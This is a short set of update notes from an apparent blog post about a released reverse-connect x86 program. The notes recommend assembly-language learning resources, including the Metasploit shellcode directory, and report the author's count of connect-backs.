Update: A few folks have asked about getting started guides for x86 assembly. The resource I find useful is the tutorial section of Linux Assembly project. Once you have the basics down, take a look through the shellcode directory of the Metasploit Framework and study up with the NASM Manual.

Update: In addition to the comments below, the Programming From the Ground Up book was recommended, as well as the ASM Community web site.

Update: Based on gscotti's comments below (the original author), I clarified the post to indicate that only a reverse connect is made, not an actual shell. His comment states that over 30,000 IPs connected back since he released it.